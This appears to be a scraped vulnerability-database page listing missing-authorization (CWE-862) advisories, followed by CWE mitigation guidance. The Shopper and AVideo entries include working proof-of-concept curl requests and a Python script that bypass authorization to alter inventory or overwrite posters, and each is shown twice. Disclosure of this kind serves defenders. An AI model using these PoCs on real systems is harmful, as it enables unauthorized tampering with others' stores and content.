      "url": "https://gitee.com/jehc/JEHC-BPM"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20250604134020/https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460/revisions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3F6-Q6V9-W2G7

Vulnerability from github – Published: 2024-11-01 15:31 – Updated: 2024-11-01 15:31
VLAI
Details

Missing Authorization vulnerability in WPClever WPC Frequently Bought Together for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPC Frequently Bought Together for WooCommerce: from n/a through 7.1.9.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-01T15:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in WPClever WPC Frequently Bought Together for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPC Frequently Bought Together for WooCommerce: from n/a through 7.1.9.",
  "id": "GHSA-g3f6-q6v9-w2g7",
  "modified": "2024-11-01T15:31:59Z",
  "published": "2024-11-01T15:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43312"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woo-bought-together/wordpress-wpc-frequently-bought-together-for-woocommerce-plugin-7-1-9-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3F9-G5VJ-P62F

Vulnerability from github – Published: 2026-09-11 21:29 – Updated: 2026-09-11 21:29
VLAI
Summary
Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component
Details

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopper/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T21:29:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Title\n\nUnauthorized inventory stock manipulation via unlocked variant property in VariantStock component\n\n## Description\n\nA lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `-\u003eauthorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91`\n\n```php\n// Line 34 - unprotected, client-mutable variant binding\npublic $variant;\n\n// Lines 36-91 - no -\u003eauthorize(...) on the Action\npublic function stockAction(): Action\n{\n    return Action::make(\u0027stock\u0027)\n        -\u003elabel(__(\u0027shopper::forms.actions.update\u0027))\n        -\u003ecolor(\u0027gray\u0027)\n        -\u003eicon(Untitledui::Package)\n        -\u003emodalHeading(__(\u0027shopper::pages/products.modals.variants.title\u0027))\n        -\u003emodalWidth(Width::Large)\n        -\u003eschema([\n            Select::make(\u0027inventory\u0027)\n                -\u003elabel(__(\u0027shopper::pages/products.inventory_name\u0027))\n                -\u003eoptions(Inventory::query()-\u003epluck(\u0027name\u0027, \u0027id\u0027))\n                -\u003enative(false)\n                -\u003erequired(),\n            TextInput::make(\u0027quantity\u0027)\n                -\u003elabel(__(\u0027shopper::forms.label.quantity\u0027))\n                -\u003eplaceholder(\u0027-10 or -5 or 50, etc\u0027)\n                -\u003enumeric()\n                -\u003erequired(),\n        ])\n        -\u003eaction(function (array $data): void {\n            // ...calls $this-\u003evariant-\u003emutateStock(...) or decreaseStock(...)\n            // with no permission check anywhere in this path\n        });\n}\n```\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required.\n\n```bash\n# Step 1: Log in and obtain a session cookie and Livewire CSRF token.\n# Obtain them from a normal browser login, then use them below.\n\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 2: Load the product variant page for any variant ID (e.g., 1).\n# Capture the Livewire snapshot from the page source.\n\n# Step 3: Call the stock action on an arbitrary variant.\n# The wire payload sets \"component.variant\" to any variant ID in the database.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"$XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -d \u0027{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"VARIANT_STOCK_COMPONENT_ID\\\",\\\"data\\\":{\\\"variant\\\":42},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\"path\":\"\",\"method\":\"callAction\",\"params\":[\"stock\",{\"inventory\":1,\"quantity\":999}]}]\n    }]\n  }\u0027\n# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVariantStock authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  VARIANT_ID      integer ID of any target variant\n  INVENTORY_ID    integer ID of the target inventory location\n  QUANTITY        integer quantity adjustment (positive or negative)\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ[\u0027BASE_URL\u0027]\nsession       = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf          = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id  = os.environ[\u0027COMPONENT_ID\u0027]\nvariant_id    = int(os.environ[\u0027VARIANT_ID\u0027])\ninventory_id  = int(os.environ[\u0027INVENTORY_ID\u0027])\nquantity      = int(os.environ[\u0027QUANTITY\u0027])\n\nheaders = {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n    \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n    \u0027X-XSRF-TOKEN\u0027: xsrf,\n    \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n    \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n    \u0027id\u0027: component_id,\n    \u0027data\u0027: {\u0027variant\u0027: variant_id},\n    \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n    \u0027components\u0027: [{\n        \u0027snapshot\u0027: snapshot,\n        \u0027updates\u0027: {},\n        \u0027calls\u0027: [{\n            \u0027path\u0027: \u0027\u0027,\n            \u0027method\u0027: \u0027callAction\u0027,\n            \u0027params\u0027: [\u0027stock\u0027, {\n                \u0027inventory\u0027: inventory_id,\n                \u0027quantity\u0027: quantity,\n            }]\n        }]\n    }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nAny authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/VariantStock.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                     // prevent client-side ID substitution\npublic $variant;\n\npublic function stockAction(): Action\n{\n    return Action::make(\u0027stock\u0027)\n        -\u003eauthorize(\u0027edit_product_variants\u0027)   // add this\n        // ... rest of the action\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-g3f9-g5vj-p62f",
  "modified": "2026-09-11T21:29:20Z",
  "published": "2026-09-11T21:29:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopperlabs/shopper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component"
}

GHSA-G3FG-M5V4-28J4

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-01-20 15:32
VLAI
Details

Missing Authorization vulnerability in weDevs WP ERP erp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP ERP: from n/a through <= 1.16.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-63008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:18:06Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in weDevs WP ERP erp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP ERP: from n/a through \u003c= 1.16.7.",
  "id": "GHSA-g3fg-m5v4-28j4",
  "modified": "2026-01-20T15:32:03Z",
  "published": "2025-12-09T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63008"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/erp/vulnerability/wordpress-wp-erp-plugin-1-16-7-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/erp/vulnerability/wordpress-wp-erp-plugin-1-16-7-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3GR-PMRC-H9X8

Vulnerability from github – Published: 2024-02-28 09:30 – Updated: 2024-02-28 09:30
VLAI
Details

The Page Duplicator plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the duplicate_dat_page() function in all versions up to, and including, 0.1.1. This makes it possible for unauthenticated attackers to duplicate arbitrary posts and pages.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1368"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-28T09:15:42Z",
    "severity": "MODERATE"
  },
  "details": "The Page Duplicator plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the duplicate_dat_page() function in all versions up to, and including, 0.1.1. This makes it possible for unauthenticated attackers to duplicate arbitrary posts and pages.",
  "id": "GHSA-g3gr-pmrc-h9x8",
  "modified": "2024-02-28T09:30:39Z",
  "published": "2024-02-28T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1368"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-page-duplicator/trunk/page-duplicator.php#L136"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bcc10e91-4810-4a0d-919c-de3e87137f76?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3HJ-MF85-679G

Vulnerability from github – Published: 2026-03-29 15:41 – Updated: 2026-03-29 15:41
VLAI
Summary
AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications
Details

Summary

The plugin/Live/uploadPoster.php endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary live_schedule_id. The endpoint only checks User::isLogged() but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a socketLiveOFFCallback notification containing the victim's broadcast key and user ID to all connected WebSocket clients.

Details

The vulnerable endpoint at plugin/Live/uploadPoster.php accepts a live_schedule_id from $_REQUEST and uses it to determine poster file paths and trigger socket notifications without ownership validation.

Entry point — attacker-controlled input (line 11-12):

$live_servers_id = intval($_REQUEST['live_servers_id']);
$live_schedule_id = intval($_REQUEST['live_schedule_id']);

Insufficient auth check (line 14-17):

if (!User::isLogged()) {
    $obj->msg = 'You cant edit this file';
    die(json_encode($obj));
}

This only verifies the user is logged in. There is no check that User::getId() matches the schedule owner's users_id.

Poster path resolved by ID alone (line 40-42):

$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);
$obj->file = str_replace($global['systemRootPath'], '', $paths['path']);
$obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);

getPosterPaths() is a static method that constructs file paths purely from the numeric ID with no authorization.

Attacker's file overwrites victim's poster (line 48):

if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {

Broadcast to all WebSocket clients (line 67-73):

if (!empty($live_schedule_id)) {
    $ls = new Live_schedule($live_schedule_id);
    $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id());
    $array['users_id'] = $ls->getUsers_id();
    $array['stats'] = getStatsNotifications(true);
    Live::notifySocketStats("socketLiveOFFCallback", $array);
}

The Live_schedule constructor (inherited from ObjectYPT) loads data by ID with no auth checks. Live::notifySocketStats() calls sendSocketMessageToAll() which broadcasts to every connected WebSocket client.

Notably, the parallel endpoints DO have ownership checks: - plugin/Live/view/Live_schedule/uploadPoster.php (line 18-21) checks $row->getUsers_id() != User::getId() - plugin/Live/uploadPoster.json.php (line 24-27) checks User::isAdmin() || $row->getUsers_id() == User::getId()

This proves the missing check in uploadPoster.php is an oversight, not by-design.

PoC

# Step 1: Log in as a low-privilege user to get a session cookie
curl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \
  -d 'user=attacker@example.com&pass=attackerpassword'

# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)
curl -b cookies.txt \
  -F 'file_data=@malicious.jpg' \
  -F 'live_schedule_id=1' \
  -F 'live_servers_id=0' \
  'https://target.com/plugin/Live/uploadPoster.php'

# Expected: 403 or ownership error
# Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent

# Step 3: Verify the poster was replaced
curl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -
# Output confirms attacker's image now serves as the victim's poster

# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:
# { "key": "<victim_broadcast_key>", "users_id": <victim_user_id>, "stats": {...} }

Schedule IDs are sequential integers and can be enumerated trivially.

Impact

  1. Content tampering: Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).
  2. False offline notifications: The socketLiveOFFCallback broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.
  3. Information disclosure: The broadcast leaks the victim's users_id and broadcast key to all connected WebSocket clients.
  4. Enumerable targets: Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.

Recommended Fix

Add an ownership check after the login verification at line 17 in plugin/Live/uploadPoster.php:

if (!User::isLogged()) {
    $obj->msg = 'You cant edit this file';
    die(json_encode($obj));
}

// Add ownership check for scheduled live streams
if (!empty($live_schedule_id)) {
    $ls = new Live_schedule($live_schedule_id);
    if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) {
        $obj->msg = 'Not authorized';
        die(json_encode($obj));
    }
}

This mirrors the existing authorization pattern already used in uploadPoster.json.php (line 24) and view/Live_schedule/uploadPoster.php (line 18).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:41:44Z",
    "nvd_published_at": "2026-03-27T17:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim\u0027s broadcast key and user ID to all connected WebSocket clients.\n\n## Details\n\nThe vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation.\n\n**Entry point \u2014 attacker-controlled input (line 11-12):**\n```php\n$live_servers_id = intval($_REQUEST[\u0027live_servers_id\u0027]);\n$live_schedule_id = intval($_REQUEST[\u0027live_schedule_id\u0027]);\n```\n\n**Insufficient auth check (line 14-17):**\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = \u0027You cant edit this file\u0027;\n    die(json_encode($obj));\n}\n```\n\nThis only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner\u0027s `users_id`.\n\n**Poster path resolved by ID alone (line 40-42):**\n```php\n$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);\n$obj-\u003efile = str_replace($global[\u0027systemRootPath\u0027], \u0027\u0027, $paths[\u0027path\u0027]);\n$obj-\u003efileThumbs = str_replace($global[\u0027systemRootPath\u0027], \u0027\u0027, $paths[\u0027path_thumbs\u0027]);\n```\n\n`getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization.\n\n**Attacker\u0027s file overwrites victim\u0027s poster (line 48):**\n```php\nif (!move_uploaded_file($_FILES[\u0027file_data\u0027][\u0027tmp_name\u0027], $tmpDestination)) {\n```\n\n**Broadcast to all WebSocket clients (line 67-73):**\n```php\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    $array = setLiveKey($ls-\u003egetKey(), $ls-\u003egetLive_servers_id());\n    $array[\u0027users_id\u0027] = $ls-\u003egetUsers_id();\n    $array[\u0027stats\u0027] = getStatsNotifications(true);\n    Live::notifySocketStats(\"socketLiveOFFCallback\", $array);\n}\n```\n\nThe `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client.\n\n**Notably, the parallel endpoints DO have ownership checks:**\n- `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row-\u003egetUsers_id() != User::getId()`\n- `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row-\u003egetUsers_id() == User::getId()`\n\nThis proves the missing check in `uploadPoster.php` is an oversight, not by-design.\n\n## PoC\n\n```bash\n# Step 1: Log in as a low-privilege user to get a session cookie\ncurl -c cookies.txt -X POST \u0027https://target.com/objects/login.json.php\u0027 \\\n  -d \u0027user=attacker@example.com\u0026pass=attackerpassword\u0027\n\n# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)\ncurl -b cookies.txt \\\n  -F \u0027file_data=@malicious.jpg\u0027 \\\n  -F \u0027live_schedule_id=1\u0027 \\\n  -F \u0027live_servers_id=0\u0027 \\\n  \u0027https://target.com/plugin/Live/uploadPoster.php\u0027\n\n# Expected: 403 or ownership error\n# Actual: {} (success) \u2014 poster overwritten, socketLiveOFFCallback broadcast sent\n\n# Step 3: Verify the poster was replaced\ncurl -o - \u0027https://target.com/videos/live_schedule_posters/schedule_1.jpg\u0027 | file -\n# Output confirms attacker\u0027s image now serves as the victim\u0027s poster\n\n# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:\n# { \"key\": \"\u003cvictim_broadcast_key\u003e\", \"users_id\": \u003cvictim_user_id\u003e, \"stats\": {...} }\n```\n\nSchedule IDs are sequential integers and can be enumerated trivially.\n\n## Impact\n\n1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).\n2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim\u0027s stream went offline, disrupting the victim\u0027s audience.\n3. **Information disclosure:** The broadcast leaks the victim\u0027s `users_id` and broadcast key to all connected WebSocket clients.\n4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.\n\n## Recommended Fix\n\nAdd an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`:\n\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = \u0027You cant edit this file\u0027;\n    die(json_encode($obj));\n}\n\n// Add ownership check for scheduled live streams\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    if ($ls-\u003egetUsers_id() != User::getId() \u0026\u0026 !User::isAdmin()) {\n        $obj-\u003emsg = \u0027Not authorized\u0027;\n        die(json_encode($obj));\n    }\n}\n```\n\nThis mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).",
  "id": "GHSA-g3hj-mf85-679g",
  "modified": "2026-03-29T15:41:44Z",
  "published": "2026-03-29T15:41:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g3hj-mf85-679g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/5fcb3bdf59f26d65e203cfbc8a685356ba300b60"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

